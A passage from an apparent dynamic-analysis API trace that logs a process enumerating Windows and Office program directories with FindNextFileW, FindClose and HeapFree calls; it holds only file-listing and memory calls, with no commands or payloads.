out: hHeap=0x6a0000) returned 1 [0069.666] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VFS", cAlternateFileName="")) returned 1 [0069.667] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0069.667] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1 [0069.667] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0069.667] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1 [0069.667] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0069.667] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 0 [0069.667] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0069.668] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0069.669] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 1 [0069.672] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0069.672] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 0 [0069.672] FindClose (in: hFindFile=0x4260800 | out: hFindFile=0x4260800) returned 1 [0069.672] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0069.672] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Common Programs", cAlternateFileName="COMMON~1")) returned 1 [0069.674] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0069.674] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245b0966, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245b0966, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245d6b52, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x721, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OneDrive for Business.lnk", cAlternateFileName="ONEDRI~1.LNK")) returned 1 [0069.674] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0069.674] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868ac6fd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x868ac6fd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0069.682] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0069.682] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8913323b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="private", cAlternateFileName="")) returned 0 [0069.682] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0069.683] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0069.683] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xaf31749c, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xaf31749c, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesCommonX64", cAlternateFileName="PROGRA~3")) returned 1 [0071.634] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0071.637] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0072.078] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.078] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2f7aa31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f7aa31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245fcdca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1702b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0072.079] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.079] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0072.079] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.079] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf086f11e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf086f11e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf086f11e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0072.081] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.081] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0072.081] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.081] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2ca2e08, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14c6cb9, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x14c6cb9, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0072.082] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.082] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2e1f46, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0072.084] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.084] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12910b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26737b32, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26737b32, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0072.087] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.087] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf472b09c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1 [0072.087] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.087] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bb01a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bb01a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0072.090] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.090] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xceb38292, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xceb38292, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe172e9be, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x22cad0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0072.092] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.092] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x24bcc96d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24bcc96d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="DataModel", cAlternateFileName="DATAMO~1")) returned 1 [0072.095] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.095] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328e918 | out: lpFindFileData=0x328e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17e0c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.dll", cAlternateFileName="MI1312~1.DLL")) returned 1 [0072.096] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0072.096] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328e69c | out: lpFindFileData=0x328e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4befc00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0072.096] FindClose (in: hFindFile=0x4260800 | out: hFindFile=0x4260800) returned 1 [0072.096] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.096] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328e918 | out: lpFindFileData=0x328e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x447d6b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x447d6b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44a38de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c190, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Spatial.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0072.096] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.098] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2803429, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2803429, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1 [0072.099] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.099] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x26a58c7d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x77e88, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0072.101] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.101] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328e918 | out: lpFindFileData=0x328e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef915def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8f6526, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 0 [0072.101] FindClose (in: hFindFile=0x4260280 | out: hFindFile=0x4260280) returned 1 [0072.101] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.101] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0fbc434, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0fbc434, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf10a1263, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2c40, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0072.102] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.102] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8d02b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8d02b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0072.102] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.102] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc576616a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1 [0072.103] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.103] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc62081b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc62081b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc62081b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1bac0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0072.103] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.103] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328e918 | out: lpFindFileData=0x328e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0072.104] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.104] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1cec0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0072.104] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.105] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0ed7602, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0ed7602, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0ed7602, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0072.107] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.107] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5f76153, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEXTCONV", cAlternateFileName="")) returned 1 [0072.108] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.108] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES16", cAlternateFileName="")) returned 1 [0072.436] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.436] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, 